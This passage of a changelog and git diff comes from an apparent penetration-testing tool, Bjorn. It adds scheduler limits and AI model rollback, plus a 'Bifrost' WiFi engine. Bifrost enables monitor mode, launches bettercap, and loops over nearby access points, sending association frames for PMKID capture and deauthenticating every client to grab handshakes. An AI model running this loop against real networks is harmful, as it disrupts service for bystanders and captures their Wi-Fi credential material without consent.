leak) +- **scheduler.js** — Added `searchDeb` timeout cleanup + state reset in unmount (zombie timer) +- **actions.js** — Added resize debounce cleanup in unmount + tracked `highlightPane` timeout (zombie timer) +- **backup.js** — Already clean: ResourceTracker, sidebar layout cleanup, state reset (no changes needed) +- **database.js** — Already clean: search debounce cleanup, sidebar layout, Poller lifecycle (no changes needed) +- **loot.js** — Already clean: search timer cleanup, ResourceTracker, state reset (no changes needed) +- **actions-studio.js** — Already clean: runtime cleanup function, ResourceTracker (no changes needed) + +#### AI Pipeline (AI-01..04) +- **[AI-01]** Feature selection: variance-based filtering in `data_consolidator.py`, feature manifest export, `get_feature_importance()` in `feature_logger.py` +- **[AI-02]** Continuous reward shaping in `orchestrator.py`: novelty bonus, diminishing returns penalty, partial credit for long-running failures, attempt/streak DB queries +- **[AI-03]** Model versioning in `ai_engine.py`: 3-model history, `rollback_model()`, auto-rollback after 50 decisions if avg reward drops +- **[AI-04]** Cold-start bootstrap in `ai_engine.py`: persistent `ai_bootstrap_scores.json`, blended heuristic/bootstrap scoring with adaptive weighting + +#### Orchestrator (ORCH-01..03) +- **[ORCH-01]** Circuit breaker: new `action_circuit_breaker` DB table in `db_utils/queue.py`, 3-state machine (closed→open→half-open), exponential backoff `min(2^N*60, 3600)s`, integrated into `action_scheduler.py` scheduling decisions and `orchestrator.py` post-execution +- **[ORCH-02]** Global concurrency limiter: `count_running_actions()` in `db_utils/queue.py`, pre-schedule check in `action_scheduler.py` against `semaphore_slots` config +- **[ORCH-03]** Manual mode scanning: background `_scan_loop` thread in `orchestrator_utils.py`, runs at `manual_mode_scan_interval` (180s default), auto-stops on mode switch + +#### EPD Multi-Size (EPD-01..02) +- **[EPD-01]** New `display_layout.py` module: `DisplayLayout` class with JSON-based element positioning, built-in layouts for 2.13" and 2.7" displays, custom layout override via `resources/layouts/`, 20+ elements integrated into `display.py` rendering pipeline +- **[EPD-02]** Backend API: `GET/POST /api/epd/layout`, `POST /api/epd/layout/reset`, `GET /api/epd/layouts` — endpoints in `web_utils/system_utils.py`, routes in `webapp.py` +- **[EPD-02]** Frontend editor: `web/js/core/epd-editor.js` as 4th tab in attacks page — SVG drag-and-drop canvas, resize handles, Color/NB/BN display modes, grid/snap/zoom, add/delete elements, import/export JSON, undo stack, font size editing, arrow key nudge + +#### New Configuration Parameters +- `ai_feature_selection_min_variance` (0.001) — minimum variance for feature inclusion +- `ai_model_history_max` (3) — max model versions kept on disk +- `ai_auto_rollback_window` (50) — decisions before auto-rollback evaluation +- `ai_cold_start_bootstrap_weight` (0.6) — bootstrap vs static heuristic weight +- `circuit_breaker_threshold` (3) — consecutive failures to open circuit +- `manual_mode_auto_scan` (true) — auto-scan in MANUAL mode +- `manual_mode_scan_interval` (180) — seconds between manual mode scans diff --git a/action_scheduler.py b/action_scheduler.py index dc7352e..d369f81 100644 --- a/action_scheduler.py +++ b/action_scheduler.py @@ -974,6 +974,32 @@ class ActionScheduler: """ self_port = 0 if target_port is None else int(target_port) + # Circuit breaker check (ORCH-01) + if self.db.is_circuit_open(action_name, mac): + logger.debug(f"Circuit breaker open for {action_name}/{mac}, skipping") + return False + + # Global concurrency limit check (ORCH-02) + running_count = self.db.count_running_actions() + max_concurrent = int(getattr(self.shared_data, 'semaphore_slots', 5)) + if running_count >= max_concurrent: + logger.debug(f"Concurrency limit reached ({running_count}/{max_concurrent}), skipping {action_name}") + return False + + # Per-action concurrency limit (ORCH-02) + requires_raw = action_def.get("b_requires", "") + if requires_raw: + try: + req_obj = json.loads(requires_raw) if isinstance(requires_raw, str) else requires_raw + if isinstance(req_obj, dict) and "max_concurrent" in req_obj: + max_per_action = int(req_obj["max_concurrent"]) + running_for_action = self.db.count_running_actions(action_name=action_name) + if running_for_action >= max_per_action: + logger.debug(f"Per-action concurrency limit for {action_name} ({running_for_action}/{max_per_action})") + return False + except (json.JSONDecodeError, TypeError, ValueError): + pass + # 0) Duplicate protection (active) existing = self.db.query( """ diff --git a/ai_engine.py b/ai_engine.py index a93a60e..257c879 100644 --- a/ai_engine.py +++ b/ai_engine.py @@ -59,10 +59,28 @@ class BjornAIEngine: self.feature_config = None self.last_server_attempted = False self.last_server_contact_ok = None - + + # AI-03: Model versioning & rollback + self._previous_model = None # {weights, config, feature_config} + self._model_history = [] # [{version, loaded_at, accuracy, avg_reward}] + self._max_model_versions_on_disk = 3 + self._performance_window = [] # recent reward values for current model + self._performance_check_interval = int( + getattr(shared_data, 'ai_model_perf_check_interval', 50) + ) + self._prev_model_avg_reward = None # avg reward of the model we replaced + + # AI-04: Cold-start bootstrap scores + self._bootstrap_scores = {} # {(action_name, port_profile): [total_reward, count]} + self._bootstrap_file = self.model_dir / 'ai_bootstrap_scores.json' + self._bootstrap_weight = float( + getattr(shared_data, 'ai_cold_start_bootstrap_weight', 0.6) + ) + self._load_bootstrap_scores() + # Try to load latest model self._load_latest_model() - + # Fallback heuristics (always available) self._init_heuristics() @@ -79,9 +97,9 @@ class BjornAIEngine: """Load the most recent model from model directory""" try: # Find all potential model configs - all_json_files = [f for f in self.model_dir.glob("bjorn_model_*.json") + all_json_files = [f for f in self.model_dir.glob("bjorn_model_*.json") if "_weights.json" not in f.name] - + # 1. Filter for files that have matching weights valid_models = [] for f in all_json_files: @@ -90,50 +108,103 @@ class BjornAIEngine: valid_models.append(f) else: logger.debug(f"Skipping model {f.name}: Weights file missing") - + if not valid_models: logger.info(f"No complete models found in {self.model_dir}. Checking server...") # Try to download from server if self.check_for_updates(): return - + logger.info_throttled( "No AI model available (server offline or empty). Using heuristics only.", key="ai_no_model_available", interval_s=600.0, ) return - + # 2. Sort by timestamp in filename (lexicographical) and pick latest - latest_model = sorted(valid_models)[-1] + valid_models = sorted(valid_models) + latest_model = valid_models[-1] weights_file = latest_model.with_name(latest_model.stem + '_weights.json') - + logger.info(f"Loading model: {latest_model.name} (Weights exists!)") - + with open(latest_model, 'r') as f: model_data = json.load(f) - - self.model_config = model_data.get('config', model_data) - self.feature_config = model_data.get('features', {}) - + + new_config = model_data.get('config', model_data) + new_feature_config = model_data.get('features', {}) + # Load weights with open(weights_file, 'r') as f: weights_data = json.load(f) - self.model_weights = { + new_weights = { k: np.array(v) for k, v in weights_data.items() } del weights_data # Free raw dict — numpy arrays are the canonical form - + + # AI-03: Save previous model for rollback + if self.model_loaded and self.model_weights is not None: + self._previous_model = { + 'weights': self.model_weights, + 'config': self.model_config, + 'feature_config': self.feature_config, + } + # Record avg reward of outgoing model for performance comparison + if self._performance_window: + self._prev_model_avg_reward = ( + sum(self._performance_window) / len(self._performance_window) + ) + self._performance_window = [] # reset for new model + + self.model_config = new_config + self.feature_config = new_feature_config + self.model_weights = new_weights self.model_loaded = True + + # AI-03: Track model history + from datetime import datetime as _dt + version = self.model_config.get('version', 'unknown') + self._model_history.append({ + 'version': version, + 'loaded_at': _dt.now().isoformat(), + 'accuracy': self.model_config.get('accuracy'), + 'avg_reward': None, # filled later as decisions accumulate + }) + # Keep history bounded + if len(self._model_history) > 10: + self._model_history = self._model_history[-10:] + logger.success( - f"Model loaded successfully: {self.model_config.get('version', 'unknown')}" + f"Model loaded successfully: {version}" ) - + + # AI-03: Prune old model versions on disk (keep N most recent) + self._prune_old_model_files(valid_models) + except Exception as e: logger.error(f"Failed to load model: {e}") import traceback logger.debug(traceback.format_exc()) self.model_loaded = False + + def _prune_old_model_files(self, valid_models: list): + """AI-03: Keep only the N most recent model versions on disk.""" + try: + keep = self._max_model_versions_on_disk + if len(valid_models) <= keep: + return + to_remove = valid_models[:-keep] + for config_path in to_remove: + weights_path = config_path.with_name(config_path.stem + '_weights.json') + try: + config_path.unlink(missing_ok=True) + weights_path.unlink(missing_ok=True) + logger.info(f"Pruned old model: {config_path.name}") + except Exception as e: + logger.debug(f"Could not prune {config_path.name}: {e}") + except Exception as e: + logger.debug(f"Model pruning error: {e}") def reload_model(self) -> bool: """Reload model from disk""" @@ -142,9 +213,103 @@ class BjornAIEngine: self.model_weights = None self.model_config = None self.feature_config = None - + self._load_latest_model() return self.model_loaded + + def rollback_model(self) -> bool: + """ + AI-03: Rollback to the previous model version. + Returns True if rollback succeeded. + """ + if self._previous_model is None: + logger.warning("No previous model available for rollback") + return False + + logger.info("Rolling back to previous model version...") + # Current model becomes the "next" previous (so we can undo a rollback) + current_backup = None + if self.model_loaded and self.model_weights is not None: + current_backup = { + 'weights': self.model_weights, + 'config': self.model_config, + 'feature_config': self.feature_config, + } + + self.model_weights = self._previous_model['weights'] + self.model_config = self._previous_model['config'] + self.feature_config = self._previous_model['feature_config'] + self.model_loaded = True + self._previous_model = current_backup + self._performance_window = [] # reset + + version = self.model_config.get('version', 'unknown') + from datetime import datetime as _dt + self._model_history.append({ + 'version': f"{version}_rollback", + 'loaded_at': _dt.now().isoformat(), + 'accuracy': self.model_config.get('accuracy'), + 'avg_reward': None, + }) + + logger.success(f"Rolled back to model version: {version}") + return True + + def record_reward(self, reward: float): + """ + AI-03: Record a reward for performance tracking. + After N decisions, auto-rollback if performance has degraded. + """ + self._performance_window.append(reward) + + # Update current history entry + if self._model_history: + self._model_history[-1]['avg_reward'] = round( + sum(self._performance_window) / len(self._performance_window), 2 + ) + + # Check for auto-rollback after sufficient samples + if len(self._performance_window) >= self._performance_check_interval: + current_avg = sum(self._performance_window) / len(self._performance_window) + + if ( + self._prev_model_avg_reward is not None + and current_avg < self._prev_model_avg_reward + and self._previous_model is not None + ): + logger.warning( + f"Model performance degraded: current avg={current_avg:.2f} vs " + f"previous avg={self._prev_model_avg_reward:.2f}. Auto-rolling back." + ) + self.rollback_model() + else: + logger.info( + f"Model performance check passed: avg_reward={current_avg:.2f} " + f"over {len(self._performance_window)} decisions" + ) + # Reset window for next check cycle + self._performance_window = [] + + def get_model_info(self) -> Dict[str, Any]: + """AI-03: Return current version, history, and performance stats.""" + current_avg = None + if self._performance_window: + current_avg = round( + sum(self._performance_window) / len(self._performance_window), 2 + ) + + return { + 'current_version': self.model_config.get('version') if self.model_config else None, + 'model_loaded': self.model_loaded, + 'has_previous_model': self._previous_model is not None, + 'history': list(self._model_history), + 'performance': { + 'current_avg_reward': current_avg, + 'decisions_since_load': len(self._performance_window), + 'check_interval': self._performance_check_interval, + 'previous_model_avg_reward': self._prev_model_avg_reward, + }, + } def check_for_updates(self) -> bool: """Check AI Server for new model version.""" @@ -596,10 +761,62 @@ class BjornAIEngine: if 'dump' in name or 'extract' in name: return 'extraction' return 'other' + # ═══════════════════════════════════════════════════════════════════════ + # AI-04: COLD-START BOOTSTRAP + # ═══════════════════════════════════════════════════════════════════════ + + def _load_bootstrap_scores(self): + """Load persisted bootstrap scores from disk.""" + try: + if self._bootstrap_file.exists(): + with open(self._bootstrap_file, 'r') as f: + raw = json.load(f) + # Stored as {"action|profile": [total_reward, count], ...} + for key_str, val in raw.items(): + parts = key_str.split('|', 1) + if len(parts) == 2 and isinstance(val, list) and len(val) == 2: + self._bootstrap_scores[(parts[0], parts[1])] = val + logger.info(f"Loaded {len(self._bootstrap_scores)} bootstrap score entries") + except Exception as e: + logger.debug(f"Could not load bootstrap scores: {e}") + + def _save_bootstrap_scores(self): + """Persist bootstrap scores to disk.""" + try: + serializable = { + f"{k[0]}|{k[1]}": v for k, v in self._bootstrap_scores.items() + } + with open(self._bootstrap_file, 'w', encoding='utf-8') as f: + json.dump(serializable, f) + except Exception as e: + logger.debug(f"Could not save bootstrap scores: {e}") + + def update_bootstrap(self, action_name: str, port_profile: str, reward: float): + """ + AI-04: Update running average reward for an (action, port_profile) pair. + Called after each action execution to accumulate real performance data. + """ + key = (action_name, port_profile) + if key not in self._bootstrap_scores: + self._bootstrap_scores[key] = [0.0, 0] + entry = self._bootstrap_scores[key] + entry[0] += reward + entry[1] += 1 + + # Persist periodically (every 5 updates to reduce disk writes) + total_updates = sum(v[1] for v in self._bootstrap_scores.values()) + if total_updates % 5 == 0: + self._save_bootstrap_scores() + + logger.debug( + f"Bootstrap updated: {action_name}+{port_profile} " + f"avg={entry[0]/entry[1]:.1f} (n={entry[1]})" + ) + # ═══════════════════════════════════════════════════════════════════════ # HEURISTIC FALLBACK # ═══════════════════════════════════════════════════════════════════════ - + def _init_heuristics(self): """Initialize rule-based heuristics for cold start""" self.heuristics = { @@ -641,68 +858,99 @@ class BjornAIEngine: ) -> Tuple[str, float, Dict[str, Any]]: """ Use rule-based heuristics for action selection. - Provides decent performance without machine learning. + AI-04: Blends static rules with bootstrap scores from actual execution data. """ try: mac = host_context.get('mac', '') host = self.db.get_host_by_mac(mac) if mac else {} - + # Get ports and services ports_str = host.get('ports', '') or '' ports = {int(p) for p in ports_str.split(';') if p.strip().isdigit()} services = self._get_services_for_host(mac) - + # Detect port profile port_profile = self._detect_port_profile(ports) - - # Scoring system - action_scores = {action: 0.0 for action in available_actions} - + + # Static heuristic scoring + static_scores = {action: 0.0 for action in available_actions} + # Score based on ports for port in ports: if port in self.heuristics['port_based']: for action in self.heuristics['port_based'][port]: - if action in action_scores: - action_scores[action] += 0.3 - + if action in static_scores: + static_scores[action] += 0.3 + # Score based on services for service in services: if service in self.heuristics['service_based']: for action in self.heuristics['service_based'][service]: - if action in action_scores: - action_scores[action] += 0.4 - + if action in static_scores: + static_scores[action] += 0.4 + # Score based on port profile if port_profile in self.heuristics['profile_based']: for action in self.heuristics['profile_based'][port_profile]: - if action in action_scores: - action_scores[action] += 0.3 - + if action in static_scores: + static_scores[action] += 0.3 + + # AI-04: Blend static scores with bootstrap scores + blended_scores = {} + bootstrap_used = False + for action in available_actions: + static_score = static_scores.get(action, 0.0) + key = (action, port_profile) + entry = self._bootstrap_scores.get(key) + + if entry and entry[1] > 0: + bootstrap_used = True + bootstrap_avg = entry[0] / entry[1] + # Normalize bootstrap avg to 0-1 range (assume reward range ~-30 to +200) + bootstrap_norm = max(0.0, min(1.0, (bootstrap_avg + 30) / 230)) + sample_count = entry[1] + + # Lerp bootstrap weight from 40% to 80% over 20 samples + base_weight = self._bootstrap_weight # default 0.6 + if sample_count < 20: + # Interpolate: at 1 sample -> 0.4, at 20 samples -> 0.8 + t = (sample_count - 1) / 19.0 + bootstrap_w = 0.4 + t * (0.8 - 0.4) + else: + bootstrap_w = 0.8 + static_w = 1.0 - bootstrap_w + + blended_scores[action] = static_w * static_score + bootstrap_w * bootstrap_norm + else: + blended_scores[action] = static_score + # Find best action + action_scores = blended_scores if action_scores: best_action = max(action_scores, key=action_scores.get) best_score = action_scores[best_action] - + # Normalize score to 0-1 if best_score > 0: best_score = min(best_score / 1.0, 1.0) - + debug_info = { - 'method': 'heuristics', + 'method': 'heuristics_bootstrap' if bootstrap_used else 'heuristics', 'port_profile': port_profile, 'ports': list(ports)[:10], 'services': services, - 'all_scores': {k: v for k, v in action_scores.items() if v > 0} + 'bootstrap_used': bootstrap_used, + 'all_scores': {k: round(v, 4) for k, v in action_scores.items() if v > 0} } - + return best_action, best_score, debug_info - + # Ultimate fallback if available_actions: return available_actions[0], 0.1, {'method': 'fallback_first'} - + return None, 0.0, {'method': 'no_actions'} - + except Exception as e: logger.error(f"Heuristic prediction failed: {e}") if available_actions: @@ -824,7 +1072,7 @@ class BjornAIEngine: 'heuristics_available': True, 'decision_mode': 'neural_network' if self.model_loaded else 'heuristics' } - + if self.model_loaded and self.model_config: stats.update({ 'model_version': self.model_config.get('version'), @@ -832,7 +1080,13 @@ class BjornAIEngine: 'model_accuracy': self.model_config.get('accuracy'), 'training_samples': self.model_config.get('training_samples') }) - + + # AI-03: Include model versioning info + stats['model_info'] = self.get_model_info() + + # AI-04: Include bootstrap stats + stats['bootstrap_entries'] = len(self._bootstrap_scores) + return stats diff --git a/bifrost/__init__.py b/bifrost/__init__.py new file mode 100644 index 0000000..07ad3ca --- /dev/null +++ b/bifrost/__init__.py @@ -0,0 +1,585 @@ +""" +Bifrost — Pwnagotchi-compatible WiFi recon engine for Bjorn. +Runs as a daemon thread alongside MANUAL/AUTO/AI modes. +""" +import os +import time +import subprocess +import threading +import logging + +from logger import Logger + +logger = Logger(name="bifrost", level=logging.DEBUG) + + +class BifrostEngine: + """Main Bifrost lifecycle manager. + + Manages the bettercap subprocess and BifrostAgent daemon loop. + Pattern follows SentinelEngine (sentinel.py). + """ + + def __init__(self, shared_data): + self.shared_data = shared_data + self._thread = None + self._stop_event = threading.Event() + self._running = False + self._bettercap_proc = None + self._monitor_torn_down = False + self._monitor_failed = False + self.agent = None + + @property + def enabled(self): + return bool(self.shared_data.config.get('bifrost_enabled', False)) + + def start(self): + """Start the Bifrost engine (bettercap + agent loop).""" + if self._running: + logger.warning("Bifrost already running") + return + + # Wait for any previous thread to finish before re-starting + if self._thread and self._thread.is_alive(): + logger.warning("Previous Bifrost thread still running — waiting ...") + self._stop_event.set() + self._thread.join(timeout=15) + + logger.info("Starting Bifrost engine ...") + self._stop_event.clear() + self._running = True + self._monitor_failed = False + self._monitor_torn_down = False + + self._thread = threading.Thread( + target=self._loop, daemon=True, name="BifrostEngine" + ) + self._thread.start() + + def stop(self): + """Stop the Bifrost engine gracefully. + + Signals the daemon loop to exit, then waits for it to finish. + The loop's finally block handles bettercap shutdown and monitor teardown. + """ + if not self._running: + return + + logger.info("Stopping Bifrost engine ...") + self._stop_event.set() + self._running = False + + if self._thread and self._thread.is_alive(): + self._thread.join(timeout=15) + self._thread = None + self.agent = None + + # Safety net: teardown is idempotent, so this is a no-op if + # _loop()'s finally already ran it. + self._stop_bettercap() + self._teardown_monitor_mode() + logger.info("Bifrost engine stopped") + + def _loop(self): + """Main daemon loop — setup monitor mode, start bettercap, create agent, run recon cycle.""" + try: + # Install compatibility shim for pwnagotchi plugins + from bifrost import plugins as bfplugins + from bifrost.compat import install_shim + install_shim(self.shared_data, bfplugins) + + # Setup monitor mode on the WiFi interface + self._setup_monitor_mode() + + if self._monitor_failed: + logger.error( + "Monitor mode setup failed — Bifrost cannot operate without monitor " + "mode. For Broadcom chips (Pi Zero W/2W), install nexmon: " + "https://github.com/seemoo-lab/nexmon — " + "Or use an external USB WiFi adapter with monitor mode support.") + # Teardown first (restores network services) BEFORE switching mode, + # so the orchestrator doesn't start scanning on a dead network. + self._teardown_monitor_mode() + self._running = False + # Now switch mode back to AUTO — the network should be restored. + # We set the flag directly FIRST (bypass setter to avoid re-stopping), + # then ensure manual_mode/ai_mode are cleared so getter returns AUTO. + try: + self.shared_data.config["bifrost_enabled"] = False + self.shared_data.config["manual_mode"] = False + self.shared_data.config["ai_mode"] = False + self.shared_data.manual_mode = False + self.shared_data.ai_mode = False + self.shared_data.invalidate_config_cache() + logger.info("Bifrost auto-disabled due to monitor mode failure — mode: AUTO") + except Exception: + pass + return + + # Start bettercap + self._start_bettercap() + self._stop_event.wait(3) # Give bettercap time to initialize + if self._stop_event.is_set(): + return + + # Create agent (pass stop_event so its threads exit cleanly) + from bifrost.agent import BifrostAgent + self.agent = BifrostAgent(self.shared_data, stop_event=self._stop_event) + + # Load plugins + bfplugins.load(self.shared_data.config) + + # Initialize agent + self.agent.start() + + logger.info("Bifrost agent started — entering recon cycle") + + # Main recon loop (port of do_auto_mode from pwnagotchi) + while not self._stop_event.is_set(): + try: + # Full spectrum scan + self.agent.recon() + + if self._stop_event.is_set(): + break + + # Get APs grouped by channel + channels = self.agent.get_access_points_by_channel() + + # For each channel + for ch, aps in channels: + if self._stop_event.is_set(): + break + + self.agent.set_channel(ch) + + # For each AP on this channel + for ap in aps: + if self._stop_event.is_set(): + break + + # Send association frame for PMKID + self.agent.associate(ap) + + # Deauth all clients for full handshake + for sta in ap.get('clients', []): + if self._stop_event.is_set(): + break + self.agent.deauth(ap, sta) + + if not self._stop_event.is_set(): + self.agent.next_epoch() + + except Exception as e: + if 'wifi.interface not set' in str(e): + logger.error("WiFi interface lost: %s", e) + self._stop_event.wait(60) + if not self._stop_event.is_set(): + self.agent.next_epoch() + else: + logger.error("Recon loop error: %s", e) + self._stop_event.wait(5) + + except Exception as e: + logger.error("Bifrost engine fatal error: %s", e) + finally: + from bifrost import plugins as bfplugins + bfplugins.shutdown() + self._stop_bettercap() + self._teardown_monitor_mode() + self._running = False + + # ── Monitor mode management ───────────────────────── + + # ── Nexmon helpers ──────────────────────────────────── + + @staticmethod + def _has_nexmon(): + """Check if nexmon firmware patches are installed.""" + import shutil + if not shutil.which('nexutil'): + return False + # Verify patched firmware via dmesg + try: + r = subprocess.run( + ['dmesg'], capture_output=True, text=True, timeout=5) + if 'nexmon' in r.stdout.lower(): + return True + except Exception: + pass + # nexutil exists — assume usable even without dmesg confirmation + return True + + @staticmethod + def _is_brcmfmac(iface): + """Check if the interface uses the brcmfmac driver (Broadcom).""" + driver_path = '/sys/class/net/%s/device/driver' % iface + try: + real = os.path.realpath(driver_path) + return 'brcmfmac' in real + except Exception: + return False + + def _detect_phy(self, iface): + """Detect the phy name for a given interface (e.g. 'phy0').""" + try: + r = subprocess.run( + ['iw', 'dev', iface, 'info'], + capture_output=True, text=True, timeout=5) + for line in r.stdout.splitlines(): + if 'wiphy' in line: + idx = line.strip().split()[-1] + return 'phy%s' % idx + except Exception: + pass + return 'phy0' + + def _setup_monitor_mode(self): + """Put the WiFi interface into monitor mode. + + Strategy order: + 1. Nexmon — for Broadcom brcmfmac chips (Pi Zero W / Pi Zero 2 W) + Uses: iw phy interface add mon0 type monitor + nexutil -m2 + 2. airmon-ng — for chipsets with proper driver support (Atheros, Realtek, etc.) + 3. iw — direct fallback for other drivers + """ + self._monitor_torn_down = False + self._nexmon_used = False + cfg = self.shared_data.config + iface = cfg.get('bifrost_iface', 'wlan0mon') + + # If configured iface already ends with 'mon', derive the base name + if iface.endswith('mon'): + base_iface = iface[:-3] # e.g. 'wlan0mon' -> 'wlan0' + else: + base_iface = iface + + # Store original interface name for teardown + self._base_iface = base_iface + self._mon_iface = iface + + # Check if a monitor interface already exists + if iface != base_iface and self._iface_exists(iface): + logger.info("Monitor interface %s already exists", iface) + return + + # ── Strategy 1: Nexmon (Broadcom brcmfmac) ──────────────── + if self._is_brcmfmac(base_iface): + logger.info("Broadcom brcmfmac chip detected on %s", base_iface) + if self._has_nexmon(): + if self._setup_nexmon(base_iface, cfg): + return + # nexmon setup failed — don't try other strategies, they won't work either + self._monitor_failed = True + return + else: + logger.error( + "Broadcom brcmfmac chip requires nexmon firmware patches for " + "monitor mode. Install nexmon manually using install_nexmon.sh " + "or visit: https://github.com/seemoo-lab/nexmon") + self._monitor_failed = True + return + + # ── Strategy 2: airmon-ng (Atheros, Realtek, etc.) ──────── + airmon_ok = False + try: + logger.info("Killing interfering processes ...") + subprocess.run( + ['airmon-ng', 'check', 'kill'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, + timeout=15, + ) + logger.info("Starting monitor mode: airmon-ng start %s", base_iface) + result = subprocess.run( + ['airmon-ng', 'start', base_iface], + capture_output=True, text=True, timeout=30, + ) + combined = (result.stdout + result.stderr).strip() + logger.info("airmon-ng output: %s", combined) + + if 'Operation not supported' in combined or 'command failed' in combined: + logger.warning("airmon-ng failed: %s", combined) + else: + # airmon-ng may rename the interface (wlan0 -> wlan0mon) + if self._iface_exists(iface): + logger.info("Monitor mode active: %s", iface) + airmon_ok = True + elif self._iface_exists(base_iface): + logger.info("Interface %s is now in monitor mode (no rename)", base_iface) + cfg['bifrost_iface'] = base_iface + self._mon_iface = base_iface + airmon_ok = True + + if airmon_ok: + return + except FileNotFoundError: + logger.warning("airmon-ng not found, trying iw fallback ...") + except Exception as e: + logger.warning("airmon-ng failed: %s, trying iw fallback ...", e) + + # ── Strategy 3: iw (direct fallback) ────────────────────── + try: + subprocess.run( + ['ip', 'link', 'set', base_iface, 'down'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + result = subprocess.run( + ['iw', 'dev', base_iface, 'set', 'type', 'monitor'], + capture_output=True, text=True, timeout=10, + ) + if result.returncode != 0: + err = result.stderr.strip() + logger.error("iw set monitor failed (rc=%d): %s", result.returncode, err) + self._monitor_failed = True + subprocess.run( + ['ip', 'link', 'set', base_iface, 'up'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + return + subprocess.run( + ['ip', 'link', 'set', base_iface, 'up'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + logger.info("Monitor mode set via iw on %s", base_iface) + cfg['bifrost_iface'] = base_iface + self._mon_iface = base_iface + except Exception as e: + logger.error("Failed to set monitor mode: %s", e) + self._monitor_failed = True + + def _setup_nexmon(self, base_iface, cfg): + """Enable monitor mode using nexmon (for Broadcom brcmfmac chips). + + Creates a separate monitor interface (mon0) so wlan0 can potentially + remain usable for management traffic (like pwnagotchi does). + + Returns True on success, False on failure. + """ + mon_iface = 'mon0' + phy = self._detect_phy(base_iface) + logger.info("Nexmon: setting up monitor mode on %s (phy=%s)", base_iface, phy) + + try: + # Kill interfering services (same as pwnagotchi) + for svc in ('wpa_supplicant', 'NetworkManager', 'dhcpcd'): + subprocess.run( + ['systemctl', 'stop', svc], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + + # Remove old mon0 if it exists + if self._iface_exists(mon_iface): + subprocess.run( + ['iw', 'dev', mon_iface, 'del'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5, + ) + + # Create monitor interface via iw phy + result = subprocess.run( + ['iw', 'phy', phy, 'interface', 'add', mon_iface, 'type', 'monitor'], + capture_output=True, text=True, timeout=10, + ) + if result.returncode != 0: + logger.error("Failed to create %s: %s", mon_iface, result.stderr.strip()) + return False + + # Bring monitor interface up + subprocess.run( + ['ifconfig', mon_iface, 'up'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + + # Enable monitor mode with radiotap headers via nexutil + result = subprocess.run( + ['nexutil', '-m2'], + capture_output=True, text=True, timeout=10, + ) + if result.returncode != 0: + logger.warning("nexutil -m2 returned rc=%d: %s", result.returncode, result.stderr.strip()) + + # Verify + verify = subprocess.run( + ['nexutil', '-m'], + capture_output=True, text=True, timeout=5, + ) + mode_val = verify.stdout.strip() + logger.info("nexutil -m reports: %s", mode_val) + + if not self._iface_exists(mon_iface): + logger.error("Monitor interface %s not created", mon_iface) + return False + + # Success — update config to use mon0 + cfg['bifrost_iface'] = mon_iface + self._mon_iface = mon_iface + self._nexmon_used = True + logger.info("Nexmon monitor mode active on %s (phy=%s)", mon_iface, phy) + return True + + except FileNotFoundError as e: + logger.error("Required tool not found: %s", e) + return False + except Exception as e: + logger.error("Nexmon setup error: %s", e) + return False + + def _teardown_monitor_mode(self): + """Restore the WiFi interface to managed mode (idempotent).""" + if self._monitor_torn_down: + return + base_iface = getattr(self, '_base_iface', None) + mon_iface = getattr(self, '_mon_iface', None) + if not base_iface: + return + self._monitor_torn_down = True + + logger.info("Restoring managed mode for %s ...", base_iface) + + if getattr(self, '_nexmon_used', False): + # ── Nexmon teardown ── + try: + subprocess.run( + ['nexutil', '-m0'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5, + ) + logger.info("Nexmon monitor mode disabled (nexutil -m0)") + except Exception: + pass + # Remove the mon0 interface + if mon_iface and mon_iface != base_iface and self._iface_exists(mon_iface): + try: + subprocess.run( + ['iw', 'dev', mon_iface, 'del'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5, + ) + logger.info("Removed monitor interface %s", mon_iface) + except Exception: + pass + else: + # ── airmon-ng / iw teardown ── + try: + iface_to_stop = mon_iface or base_iface + subprocess.run( + ['airmon-ng', 'stop', iface_to_stop], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, + timeout=15, + ) + logger.info("Monitor mode stopped via airmon-ng") + except FileNotFoundError: + try: + subprocess.run( + ['ip', 'link', 'set', base_iface, 'down'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + subprocess.run( + ['iw', 'dev', base_iface, 'set', 'type', 'managed'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + subprocess.run( + ['ip', 'link', 'set', base_iface, 'up'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + logger.info("Managed mode restored via iw on %s", base_iface) + except Exception as e: + logger.error("Failed to restore managed mode: %s", e) + except Exception as e: + logger.warning("airmon-ng stop failed: %s", e) + + # Restart network services that were killed + restarted = False + for svc in ('wpa_supplicant', 'dhcpcd', 'NetworkManager'): + try: + subprocess.run( + ['systemctl', 'start', svc], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=15, + ) + restarted = True + except Exception: + pass + + # Wait for network services to actually reconnect before handing + # control back so the orchestrator doesn't scan a dead interface. + if restarted: + logger.info("Waiting for network services to reconnect ...") + time.sleep(5) + + @staticmethod + def _iface_exists(iface_name): + """Check if a network interface exists.""" + return os.path.isdir('/sys/class/net/%s' % iface_name) + + # ── Bettercap subprocess management ──────────────── + + def _start_bettercap(self): + """Spawn bettercap subprocess with REST API.""" + cfg = self.shared_data.config + iface = cfg.get('bifrost_iface', 'wlan0mon') + host = cfg.get('bifrost_bettercap_host', '127.0.0.1') + port = str(cfg.get('bifrost_bettercap_port', 8081)) + user = cfg.get('bifrost_bettercap_user', 'user') + password = cfg.get('bifrost_bettercap_pass', 'pass') + + cmd = [ + 'bettercap', '-iface', iface, '-no-colors', + '-eval', 'set api.rest.address %s' % host, + '-eval', 'set api.rest.port %s' % port, + '-eval', 'set api.rest.username %s' % user, + '-eval', 'set api.rest.password %s' % password, + '-eval', 'api.rest on', + ] + + logger.info("Starting bettercap: %s", ' '.join(cmd)) + try: + self._bettercap_proc = subprocess.Popen( + cmd, + stdout=subprocess.DEVNULL, + 